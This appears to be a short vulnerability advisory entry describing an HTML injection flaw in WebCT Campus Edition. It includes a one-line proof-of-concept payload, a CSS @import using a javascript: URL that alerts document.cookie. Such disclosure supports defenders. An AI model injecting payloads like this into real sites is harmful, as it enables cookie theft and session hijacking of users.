• info
• discussion
• exploit
• solution
• references

WebCT Campus Edition HTML Injection Vulnerability

No exploit is required.

The following proof of concept has been provided:
<style type="text/css">
@import url(javascript:alert(document.cookie));
</style>